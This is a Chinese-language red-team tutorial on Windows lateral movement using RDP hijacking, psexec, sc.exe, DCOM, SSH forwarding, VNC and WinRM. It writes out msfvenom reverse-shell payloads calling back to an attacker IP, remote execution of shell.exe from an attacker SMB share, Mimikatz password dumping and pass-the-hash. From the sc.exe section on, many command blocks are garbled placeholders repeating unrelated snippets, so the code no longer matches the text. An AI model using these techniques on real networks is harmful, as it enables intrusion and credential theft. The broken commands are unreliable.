此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
介绍
在红队评估期间,在入侵完成后,攻击者倾向于在网络中横向移动,以获取有关其他系统的更多相关信息。这种横向移动可以通过使用许多二进制文件/服务/进程来实现。在本文中,我们将仅关注使用远程服务的横向移动,即可以通过获取无效凭据集来帮助在远程系统上执行代码/命令的服务。通常,组织内会使用同一套凭据,这种横向移动变得非常容易和有效。
背景
横向移动非常有助于通过破坏更多系统来收集更多数据,而不是仅仅依靠单个系统来获得更高的权限并最终破坏整个网络。
某些服务专门设计用于提供远程会话,如果提供了有效的凭据,它们就会接受连接。在域网络中,这种基本身份验证被 Kerberos 取代,但是,一组有效的凭据仍然可以在整个网络和多个设备上使用。例如,人力资源管理员帐户可以登录到任何人力资源系统,并且可以通过横向移动以这种方式获取更多数据。
本文的目的是通过利用最知名的远程服务(包括 RDP、SSH 等)来演示尽可能多的方法。在本文的最后,我们将讨论 mimikatz 和 wmi 等服务。这些服务本质上使用一个或多个远程服务组合来提供远程会话。
让我们首先从 RDP 开始,然后逐步转向其他服务。
了解攻击实验室
对于本文,我手头有两个设置。一个是使用域“ignite.local”的 Active Directory 设置,另一个是在非域环境中通过桥接方式连接到 Kali 系统的简单 2 个 Windows 设备。详细信息如下:
通过 RDP 进行横向移动
据Microsoft介绍,RDP 基于 T-120 系列协议标准,并且是其扩展。多通道协议允许单独的虚拟通道承载以下信息:
演示数据
串行设备通信
许可信息
高度加密的数据,例如键盘、鼠标活动
换句话说,它通过为用户提供功能齐全的 GUI 让用户与远程服务器进行通信。
使用任务管理器进行 RDP 劫持
当您连接到用户“管理员”并打开任务管理器->转到用户->如果用户“hex”当前已退出但存在,您就会看到此信息。
您可以点击十六进制并选择连接
任务管理器现在将要求用户 hex 提供凭据
现在您已成功连接到 hex。可以在 cmd 中确认
使用 Tscon 进行 RDP 劫持
tscon 是 Windows Server 2012 版本中引入的 Microsoft Windows 实用程序。它用于连接到远程桌面会话主机服务器上的另一个会话。它需要目标和会话 ID 才能工作。用户凭据也可以作为 tscon 中的参数传递。在此处阅读更多信息。
现在有趣的是,如果您设法获得 SYSTEM 级权限 (NT AUTHORITYSYSTEM),则可以使用 tscon 切换 RDP 会话而无需密码。这在旧版本的 Windows 10 上完美运行。在较新的版本中,仍然需要密码。
因此,我们首先使用 psexec 在受感染的系统上获得 NT AUTHORITYSYSTEM,然后查看交互式会话。我们切换到所需的会话(此处为 3 号),并使用 /DEST 开关将当前连接(rdp-tcp#9)切换到第 3 个会话中的用户。
whoami
psexec64.exe -s cmd
whoami
query user
cmd /k tscon 3 /DEST:rdp-tcp#9
它会立即在同一个远程桌面连接中打开一个新用户“hex”!这可以通过 whoami 来验证
使用 Mimikatz 进行 RDP 劫持
Mimikatz 包含一个模块“ts”,用于处理 RDP 会话。它是 tscon 的实现,但添加了 mimikatz 的功能。我们可以使用以下命令查看活动用户会话
ts::sessions
我们在会话 ID 3 上有一个断开连接的用户十六进制。让我们连接到它。我们使用 psexec 执行的操作,mimikatz 通过使用令牌模拟来提升权限,自动执行此操作。
privilege::debug
token::elevate
ts::remote /id:3
然后您将看到用户“hex”的远程桌面!
SharpRDP 认证命令执行
0xthirteen 开发了SharpRDP 工具,该工具提供了使用 RDP 作为服务执行经过身份验证的命令的各种方法和技术。此方法不包括劫持远程会话,而是使用登录信息来提供代码执行。它通过利用 COM 库和 mstscax.dll 来实现这一点。点击此处了解更多信息。
首先,我们将创建一个有效载荷
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
接下来,我们将把这个文件托管在我们的 SMB 共享中。我们可以手动设置共享,也可以使用 Impacket 的 smbserver 设置一个名为“sharename”的临时共享
smbserver.py sharename /root
现在,使用远程用户管理员的凭据,我们可以通过下面的 UNC 路径使用 SharpRDP 来执行此 EXE 文件
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \192.168.0.89sharenameshell.exe username=Administrator password=123
如你所见,远程服务器访问了我们的 SMB 服务器并获取了文件
这样我们就成功横向移动了!
通过 SMB 进行横向移动
SMB 是最广泛使用的网络协议之一,允许用户通过网络与远程系统进行通信。通常,它用于共享文件、打印机,但通过利用可写共享,它可用于执行命令,并最终实现横向移动。
PsExec SMB RCE
许多工具(如 psexec)都利用 SMB 执行经过身份验证的命令。据 Microsoft 称,“PsExec 是一种轻量级的 telnet 替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。PsExec 最强大的用途包括在远程系统上启动交互式命令提示符和远程启用工具(如 IpConfig),否则这些工具无法显示有关远程系统的信息。”首先,让我们使用 impacket 的 smbserver 创建一个本地 SMB 共享,用于托管我们的恶意文件。此文件最终将被写入远程系统并执行以获得移动。
smbserver.py sharename /root
此后,我们将使用 msfvenom 创建恶意文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
现在,我们将使用受感染的系统并在其中上传 psexec64.exe。然后,我们将使用以下命令在指定的主机中启动我们的恶意文件。
psexec64.exe \DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \192.168.0.89sharenameshell.exe
如你所见,hex 已经到达我们的 smb 共享并获取了文件
至此,我们成功收到了反向 shell!
Sc.exe 进程创建
sc.exe 是随 Windows 捆绑提供的命令行工具,提供维护和管理 Windows NT 服务的功能。这是一个非必需的系统进程,但它可用于创建进程并在其中执行 DLL。在这里,我们将创建一个进程“ignite”,并使用 regsvr 方法在该进程中定义执行 DLL。
首先,让我们设置处理程序并使用 Metasploit 生成 regsvr 代码。
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
现在,我们获得的 regsvr 代码可以包含在 sc.exe binpath 命令中。以下命令将创建一个包含上述代码的进程 ignite。然后启动该进程。请注意,“DESKTOP-9GSGKO9”是目标 Windows 系统,代码将在该系统中执行。
ts::sessions
0
如您所见,已收到服务启动失败错误,但这是因为我们提供的 DLL 无效。它仍会执行我们的 DLL 并为我们提供反向 shell!在这里,我们拥有远程系统中可写共享的管理员权限,因此我们获得了 NT AUTHORITYSYSTEM 特权,但根据您拥有的权限,这可能会有所不同。
Metasploit SMB 远程 PsExec
Metasploit psexec 模块存在,如果目标上的 SMB 可访问且提供的凭据有效,则该模块可以破坏远程系统。这里,假设我们获得了 SMB 凭据 Administrator:123,我们可以在整个网络中使用这些凭据并破坏具有相同凭据集的其他系统。在这里,您可以看到,我们将有效载荷设置为 meterpreter,成功执行后,我们收到了一个 web shell!
ts::sessions
1
Cmd.exe SMB 远程代码执行
如果用户对 C$、ADMIN$ 等关键共享具有写访问权限,则 Windows 中的 Cmd.exe 也能够在远程系统上执行命令,cmd.exe 可以将文件复制到 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp 等位置,并结合横向移动获得持久性。
但是,在这个例子中,我们将只运行一个简单的 regsvr 命令并将其输出写入 ADMIN$ share 中名为 ignite 的文件中,以演示该命令的写入功能。
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
现在我们使用 cmd.exe 运行它
ts::sessions
3
这给了我们一个反向shell!
如您所见,输出文件已在我们指定的远程共享中创建。虽然没有输出,所以文件是空的,但它已经创建了。
另一个例子是在受害者 192.168.0.120 的远程共享中写入一个 bat 文件,它将在 StartUp 中保存我们的有效载荷执行命令,并且该命令将在下次系统重启时执行。
ts::sessions
4
SharpMove.exe SMB RCE
0xthirteen 开发了一个名为SharpMove的 C# 脚本,该脚本利用许多不同的远程服务来执行代码。它可以使用远程系统上的 SMB 共享来执行代码。它还可以尝试禁用 AMSI,这本身就是一个额外的好处。在此示例中,我们将通过在现有服务中输入我们自己的代码来对其进行修改。我们在演示 sc.exe 时刚刚创建了一个名为“ignite”的服务,让我们来修改该服务。在主机名为“DESKTOP-9GSGK09”的系统上执行可以按如下方式实现:
ts::sessions
5
可以看出,SharpMove.exe已经更新了服务binpath,并且成功实现了反向shell。
通过 DCOM 进行横向移动
据微软介绍,“微软组件对象模型 ( COM ) 是一个独立于平台的、分布式的、面向对象的系统,用于创建可交互的二进制软件组件。COM 是微软的 OLE(复合文档)、ActiveX(支持 Internet 的组件)以及其他技术的基础技术。
它不是一种编程语言,而是一种仅适用于已编译为二进制代码的标准。C++ 等编程语言提供了使用 COM 对象的简单机制。C、Java 也实现了 COM。”
COM 对象是指通过一组或多组相关函数专门访问对象数据的对象。这些函数集称为接口,接口的函数称为方法。此外,COM 要求访问接口方法的唯一方法是通过指向接口的指针。换句话说,COM 通过实现可以调用 DLL 和 EXE 的对象,使二进制文件能够与其他软件对象或可执行文件交互。DCOM ( 分布式 COM)是一种中间件,它使用远程过程调用 (RPC) 技术将 COM 的功能扩展到本地计算机之外。
默认情况下,只有管理员可以通过 DCOM 远程激活和启动 COM 对象
DCOM 可以执行 Office 文档中的宏,还可以远程与 WMI 交互,从而使受攻击的域面临各种各样的攻击。
请注意,此攻击适用于已加入域的系统。默认情况下,DCOM 远程处理不适用于跨网络。要启用 DCOM 远程处理,需要一些神奇的代码,但这不在本文的讨论范围内。(不过,我已经这样做了,并且正在使用未加入域的系统来执行此操作)
Mmc20.应用程序远程DCOM
您可以使用 Microsoft 管理控制台 (MMC) 创建、保存和打开管理工具(称为控制台),这些工具用于管理 Microsoft Windows 操作系统的硬件、软件和网络组件。MMC 可在当前支持的所有客户端操作系统上运行。这里使用的是Enigma0x3 的方法(参见此处)。
首先,让我们使用 powershell 查看 mmc20.application 的注册表项。ProgID 是远程系统中创建实例所必需的。接下来,我们将使用 Powershell 在目标系统 (192.168.0.119) 上创建此程序 mmc20 的新实例。
ts::sessions
6
我们创建了一个名为 $dcom 的对象,它生成 mmc 可以执行的不同函数。其中一个是 ExecuteShellCommand
我们将使用此函数对所创建的远程 DCOM 对象执行命令。
ts::sessions
7
成功执行后,我们会看到 SMB 服务器上有一个命中,可执行文件被获取并执行
这给了我们一个很好的反向外壳,因此横向移动已经实现!
通过 SSH 进行横向移动
SSH 是最广泛使用的跨平台协议,它允许用户连接到远程会话并允许文件复制。企业环境中通常会使用不同的子网,由于防火墙限制或网络接口不同,攻击者可能无法直接访问这些子网。在这种情况下,通过 SSH 横向移动可以为攻击者提供多种选择。让我们看看一些方法。
SSH 端口转发
有关全面的用例和端口转发指南,我强烈建议阅读这篇 文章。我们在这里采用一个简单的场景。我们的目标服务器具有以下 IP 地址和用户名
现在,我们已成功攻陷用户名为“hex”的系统,该系统有 2 个网卡。一个与我们的攻击者机器在同一个网络上,另一个在我们的目标服务器的网络上。
正如您所看到的,我们的攻击者机器与目的地位于不同的子网,并且我们的 ping 无法到达,因此无法直接访问。
要设置本地端口转发,使我们能够将特定端口的任何传入流量重定向到目标服务器,我们遵循以下模式:
ssh -L 本地端口:目标IP:目标端口 被泄露用户名@被泄露服务器
此后,我们必须指定十六进制的密码。
ts::sessions
8
设置成功后,我们现在就可以连接到目标服务器了!首先,确保 known_hosts 文件中没有预先存在的 localhost 条目(使用 ssh-keygen -R)
ts::sessions
9
如您所见,我们已经成功连接到目的地!
通过 VNC 进行横向移动
VNC 或虚拟网络计算是一种使用远程帧缓冲区协议实现对另一个系统的图形远程访问的服务。这是一个交互式会话,因为用户可以通过 VNC 向原始系统提供鼠标和键盘输入。这样的定义似乎与我们之前讨论过的远程桌面协议非常相似,但两者之间存在显着差异。VNC 是独立于平台的,这意味着它可以与 Linux 和 Windows 一起使用,而 RDP 只能在两台 Windows 计算机之间工作。
据 MITRE 称,“攻击者可能会滥用 VNC 以登录用户的身份执行恶意操作,例如打开文档、下载文件和运行任意命令。攻击者可以使用 VNC 远程控制和监视系统,以收集数据和信息,然后转向网络内的其他系统。”
让我们看一下其中一种方法。
VNCinject 有效载荷
Vncinject 是一种可与 msfvenom 配合使用的有效载荷,它会在攻击者系统上安装反射式 vnc DLL 并重新连接到攻击者系统。需要注意的是,为了利用此载荷进一步进行横向移动,可以将其保存在共享中,并可以使用 psexec 等远程执行方法。
首先,我们创建一个有效载荷,并将其托管在我们的 Web 服务器中,以便在系统上下载并执行
privilege::debug
token::elevate
ts::remote /id:3
0
现在,我们让受害者执行此有效载荷。这可以通过发送钓鱼链接等来完成。为简单起见,我们仅使用 powershell wget 来下载并执行(模拟)
privilege::debug
token::elevate
ts::remote /id:3
1
现在我们设置 multi/handler 并等待回调。成功执行后,我们会在控制台中收到回调
privilege::debug
token::elevate
ts::remote /id:3
2
不久之后,我们将收到一个成熟的 VNC 会话,并且横向移动现已实现!
通过 WinRM 进行横向移动
WinRM 是一个命令行工具,它使管理员能够使用 WS-Management 协议远程执行 CMD.exe 命令。此规范描述了一种基于 SOAP 的通用协议,用于管理系统(例如 PC、服务器、设备、Web 服务、其他应用程序和其他可管理实体)。它使用端口 5985 进行 HTTP 传输,使用端口 5986 进行 HTTPS 传输。
在 Windows 操作系统的服务器和客户端版本上,Enable-PSRemoting 允许管理员通过 WinRM 服务使用 Powershell 访问私有网络和域网络的远程 shell。
在此处 阅读有关 WinRM的 Microsoft 文档
首先,要设置 WinRM,我们只需要在 Admin Powershell 窗口中执行以下命令。这将启用 winrm、允许 HTTP 连接(默认情况下,系统中没有用于 HTTPS 的 SSL 证书)并通过将所有用户添加到受信任的主机中来允许所有用户。
privilege::debug
token::elevate
ts::remote /id:3
3
于 WinRM 服务,我们也可以像这样手动遍历配置并设置/更改任何值。
privilege::debug
token::elevate
ts::remote /id:3
4
对于域环境,由于 Kerberos,WinRS 等工具通常无法工作。因此,我们需要激活基本身份验证机制。
privilege::debug
token::elevate
ts::remote /id:3
5
新PSSession Powershell
powershell 中的 New-PSSession 命令创建一个新的持久 powershell 远程会话。通过提供远程凭据,您会看到我们已连接到服务器。在一个系统可以访问目标/目标服务器并且我们需要连接到它但攻击者系统无法访问它的情况下很有用。
我们可以进一步执行保存在 SMB 共享中的恶意可执行文件,以进行进一步的横向移动。
privilege::debug
token::elevate
ts::remote /id:3
6
你看,现在服务器已经绕过了防火墙的传入连接,而防火墙限制用户连接到它。我们让服务器连接到我们!
它给了我们一个整洁的反向shell!
调用命令 Powershell
Invoke-Command 是 Powershell 中的一个 cmdlet,它使用 WinRM 互操作性在远程系统上运行指定的命令。管理员使用它来自动安装工具/软件等。但它也可以用于横向移动。通过在“scriptblock”中指定我们的命令,我们可以执行它。“-Credential”标志允许用户输入凭据,也可以通过创建一个块并将其提供给 STDIN 来替换该凭据。
调用命令 dc1.ignite.local -Credential $cred -ScriptBlock {cmd.exe /c \192.168.1.4sharenameshell.exe}
这给了我们一个健康的壳!
Winrs
Winrs 代表 Windows 远程 Shell,与 New-PSSession 相同。它自 Windows Server 2008 以来就一直存在。Winrs 可用于在远程系统上执行代码。它仅使用基本身份验证。因此,保存在我们 smbshare 中的 shell.exe 可以这样执行:
privilege::debug
token::elevate
ts::remote /id:3
7
这成功给了我们一个反向shell!
Evil-Winrm
Evil-WinRM 是一款非常流行的工具,Red Teamers 使用它通过 WinRM 在网络进行横向移动。在后台,它还使用 Windows 远程 shell 功能,但在此基础上添加了一些漂亮的功能。它用 ruby 编写,可以使用gem install evil-winrm 安装。安装后,它可以用于连接到远程服务器,例如:
privilege::debug
token::elevate
ts::remote /id:3
8
现在,我在 /root 下创建了一个名为 binaries 的文件夹,其中包含一个 Mimikatz powershell 脚本(在此处找到)。
Evil-WinRM 可以上传这些 powershell 脚本(保存在文件夹中),让我们执行其 powershell 函数!为此,我们使用 -s 并提供二进制文件夹的路径。此后,我们可以使用 Invoke-Mimikatz,如您所见,mimikatz 已运行并在服务器中转储缓存的密码。
privilege::debug
token::elevate
ts::remote /id:3
9
通过 Mimikatz 进行横向移动
Mimikatz 包含许多有助于横向移动的选项。其中之一就是转储密码。我们可以使用 sekurlsa 模块来实现这一点:
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
0
这些哈希可以进一步与 psexec 一起使用来传递哈希攻击!
通过 WMI 进行横向移动
WMI 命令行 (WMIC) 实用程序为 Windows 管理规范 (WMI) 提供了命令行界面。WMIC 与现有的 shell 和实用程序命令兼容。Wmi 还可用于远程执行命令。这是通过使用 /node 标志实现的。例如,在下面的示例中,我们正在创建一个新的进程调用,它将执行保存在节点 192.168.1.2 上的 SMB 服务器中的 shell
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
1
可以看到,执行成功,我们收到了一个反向shell
通过 Invoke-WmiMethod 进行横向移动
对于 Windows 中以二进制形式存在的任何良好实用程序,Microsoft 已为其创建了等效的 powershell cmdlet。Invoke-WmiMethod 是一个 cmdlet,其功能与上例中的 wmic 相同。PS 5.1+ 中较新的 Invoke-CimMethod 执行相同的操作。请参阅此处。
要使用 CLI 中的 Invoke-WmiMethod,我们需要编写一个命令。感谢@spotheplanet提供的这项技术。我们也可以使用通用的 Invoke-WmiMethod,但它需要 GUI,而在红队场景中我们通常没有 GUI。
在这种技术中,我们将创建一个恶意 MSI 文件,并将其安装在目标服务器中。
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
2
现在,在受感染受害者的 CLI 中,我们输入以下命令。此命令基本上为 Invoke-WmiMethod 提供凭证(Administrator:Ignite@987)并安装一个放在我们的 SMB 共享中的 MSI 文件。
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
3
在我们的反向监听器上,你可以看到一个稳定的 shell 现在已经弹出!
结论
横向移动是红队演习中必不可少的一步,因为它会导致权限提升和网络入侵。本文讨论了远程服务以及如何在红队评估期间将它们用于横向移动场景。这些服务本身就具有与远程系统交互的能力。我们在文章中演示了此类技术。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...